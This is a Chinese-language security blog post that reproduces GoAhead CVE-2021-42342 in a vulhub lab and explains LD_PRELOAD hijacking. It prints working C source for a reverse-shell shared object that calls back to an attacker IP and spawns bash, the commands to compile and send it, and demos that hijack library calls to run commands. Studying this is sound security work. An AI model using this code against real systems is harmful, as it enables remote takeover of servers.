环境变量注入

前两天看到一个ACTF的WP,由于没有参加,所以不太清楚题目,但是其中有一个gogogo的题目,利用的是环境变量的注入方式,而且还是LD_PRELOAD劫持。这个漏洞是GoAhead的一个CVE-2021-42342。

CVE-2021-42342

先复现一下这个漏洞,直接利用vulhub的靶场,/vulhub/goahead/CVE-2021-42342

访问http://127.0.0.1:8080/cgi-bin/index,在这个地方上传一个恶意的so文件。

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="192.168.36.138";
uint32_t server_port=1234;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/bash", 0, 0);
}

编译如上的文件

gcc -s -shared -fPIC ./hack.c -o hack.so  #由于对so有大小限制,这里才带-s参数。

生成一个so文件后,可以直接利用给出的poc.py发送。或者也可以利用BURP构造包来发送。

python poc.py http://127.0.0.1:8080/cgi-bin/index hack.so

如果需要使用burp来构造包则需要注意一点就是保持文件描述符不被关闭,关闭选项上repeater的第一个update选项,同时修改包中的Content-Length长度,由于我的so是14384字节,这里改成15000.最后再用多余的字节填充到比15000多一些即可。

image-20220701155215245

LD_PRELOAD

通过上面这个漏洞的利用,可以看到使用了LD_PRELOAD这个环境变量,这个东西影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。

LD_PRELOAD环境变量相信都在PHP绕过disable_function函数的时候见过,就是利用劫持进行覆写相关的函数来执行恶意的so。

如果需要实现这种注入攻击的方式,则至少需要满足:

  1. 能够上传自己的.so文件
  2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

如果还需要绕过disable_function,还需要一个外部功能的函数可以执行,常见的比如PHP的mail函数。

这里用一个编写的demo,比如我们想劫持/usr/bin/grep命令,可以先查看ls的动态链接库文件,readelf -Ws来查看。

image-20220701163415305

这里我们选用strcpy@GLIBC_2.2.5 (3)这个链接库。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
​
void payload() {
    system("id");
}
​
char *strcpy(char *dest, const char *src) {   //需要搜索查看函数的原型
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

或者,这个__attribute__((constructor))的意思是先于main()函数调用 ,这种情况下大部分函数都可以劫持到。

#include <unistd.h>
​
static void before(void) __attribute__((constructor));
​
static void before(void)
{
    unsetenv("LD_PRELOAD");
    system("id");
}

编译

gcc -s hack.c -fPIC -shared -o hack.so

把这个so加入到环境变量中

export LD_PRELOAD=$PWD/hack.so

image-20220701163438797

禁用

使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。

参考文章:

https://tttang.com/archive/1399/

https://mp.weixin.qq.com/s/Y_02LhQsGa8jhoA7qmSWLw

https://forum.butian.net/share/1493





# web安全  

tocToc: